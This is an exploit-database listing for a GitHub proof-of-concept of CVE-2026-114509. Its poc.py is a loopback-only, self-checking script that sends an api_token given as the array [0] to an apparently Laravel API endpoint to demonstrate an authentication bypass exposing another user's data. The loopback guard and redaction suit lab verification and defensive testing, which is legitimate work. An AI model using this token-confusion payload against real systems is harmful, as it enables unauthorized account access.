Exploit database

GH-96784c2e9007482d97648fbf643a97d0

dimasma0305/cve-2026-114509

GitHubNot listedPoC
Download repository ZIP

Sources for CVE-2026-114509

5 sources

Preferred order: Exploit-DB, Metasploit, then GitHub repositories by stars. Open preferred source

Repository files11
dimasma0305/cve-2026-114509Revision d653f2b5fc95

Files from this repository share one source choice. Supporting files may cover other vulnerabilities.

poc.py

Suggested starting filePython · 5,978 bytes
#!/usr/bin/env python3
"""Self-checking, loopback-only PoC for CVE-2026-114509."""

from __future__ import annotations

import argparse
import http.client
import ipaddress
import json
import socket
import sys
import urllib.error
import urllib.parse
import urllib.request
from pathlib import Path

MAX_RESPONSE_BYTES = 1024 * 1024
SENSITIVE_FIELDS = {"api_token", "confirmation_code", "password"}


class NoRedirect(urllib.request.HTTPRedirectHandler):
    def redirect_request(self, req, fp, code, msg, headers, newurl):
        return None


def load_profiles() -> dict:
    path = Path(__file__).with_name("profiles.json")
    return json.loads(path.read_text(encoding="utf-8"))["profiles"]


def validate_url(raw_url: str, allowed_port: int) -> str:
    try:
        parsed = urllib.parse.urlsplit(raw_url)
        port = parsed.port
    except ValueError as error:
        raise ValueError(f"malformed URL: {error}") from error

    if parsed.scheme != "http":
        raise ValueError("only http URLs are allowed")
    if parsed.username is not None or parsed.password is not None:
        raise ValueError("URL userinfo is not allowed")
    if parsed.fragment:
        raise ValueError("URL fragments are not allowed")
    if parsed.query or parsed.path not in ("", "/"):
        raise ValueError("base URL must not contain a path or query")
    if parsed.hostname is None or port != allowed_port:
        raise ValueError(f"profile requires loopback port {allowed_port}")
    if parsed.hostname not in {"127.0.0.1", "::1", "localhost"}:
        raise ValueError("profile host must be 127.0.0.1, ::1, or localhost")

    addresses = {
        item[4][0]
        for item in socket.getaddrinfo(parsed.hostname, port, type=socket.SOCK_STREAM)
    }
    if not addresses or any(not ipaddress.ip_address(address).is_loopback for address in addresses):
        raise ValueError("target must resolve exclusively to loopback addresses")

    address = "127.0.0.1" if "127.0.0.1" in addresses else sorted(addresses)[0]
    host = f"[{address}]" if ":" in address else address
    return f"http://{host}:{port}"


def read_json(response) -> dict:
    raw_body = response.read(MAX_RESPONSE_BYTES + 1)
    if len(raw_body) > MAX_RESPONSE_BYTES:
        return {"error": "response exceeded 1 MiB limit"}
    try:
        body = json.loads(raw_body)
    except (UnicodeDecodeError, json.JSONDecodeError):
        return {"error": "non-JSON response"}
    return body if isinstance(body, dict) else {"error": "JSON response is not an object"}


def redact(body: object) -> object:
    if isinstance(body, dict):
        return {
            key: "[REDACTED]" if key.lower() in SENSITIVE_FIELDS else redact(value)
            for key, value in body.items()
        }
    if isinstance(body, list):
        return [redact(value) for value in body]
    return body


def request(opener, base_url: str, path: str, token: object, method: str = "POST") -> tuple[int, dict]:
    url = base_url.rstrip("/") + "/" + path.lstrip("/")
    body = json.dumps({"api_token": token}).encode()
    request_object = urllib.request.Request(
        url,
        data=body,
        headers={"Content-Type": "application/json", "Accept": "application/json"},
        method=method,
    )
    try:
        with opener.open(request_object, timeout=10) as response:
            return response.status, read_json(response)
    except urllib.error.HTTPError as error:
        body = read_json(error)
        if 300 <= error.code < 400:
            body = {"error": "redirect refused"}
        return error.code, body
    except (urllib.error.URLError, TimeoutError, ConnectionError, OSError, http.client.HTTPException) as error:
        return 0, {"error": f"request failed: {type(error).__name__}"}


def main() -> int:
    profiles = load_profiles()
    parser = argparse.ArgumentParser()
    parser.add_argument("--profile", choices=profiles, default="laravel-12.67.0-mariadb-11.4.8")
    args = parser.parse_args()

    profile = profiles[args.profile]
    try:
        base_url = validate_url(profile["url"], profile["port"])
    except (OSError, ValueError) as error:
        print(f"REFUSED: {error}", file=sys.stderr)
        return 2

    opener = urllib.request.build_opener(urllib.request.ProxyHandler({}), NoRedirect())
    path = profile.get("path", "/api/account")
    method = profile.get("method", "POST")
    control_status, control = request(opener, base_url, path, "definitely-wrong", method)
    exploit_status, exploit = request(opener, base_url, path, [0], method)
    print(json.dumps({
        "profile": args.profile,
        "control": {"status": control_status, "body": redact(control)},
        "exploit": {"status": exploit_status, "body": redact(exploit)},
    }, indent=2))

    control_ok = control_status == 401
    if profile["expected"] == "authentication_bypass":
        expected = (
            exploit_status == 200
            and exploit.get("authenticated") is True
            and exploit.get("name") == "victim"
            and exploit.get("protected_data") == "account-owner-only"
            and exploit.get("build") == profile["framework"]
        )
    elif profile["expected"] == "authentication_bypass_projects":
        expected = (
            exploit_status == 200
            and exploit.get("current_page") == 1
            and isinstance(exploit.get("data"), list)
            and exploit.get("path") == base_url + path
        )
    elif profile["expected"] == "authentication_bypass_identity":
        expected = (
            exploit_status == 200
            and exploit.get("email") == profile["victim_email"]
        )
    else:
        expected = exploit_status == 401

    if control_ok and expected:
        print(f"PASS: {profile['expected']} behavior verified")
        return 0

    print(f"FAIL: expected {profile['expected']} behavior was not observed", file=sys.stderr)
    return 1


if __name__ == "__main__":
    raise SystemExit(main())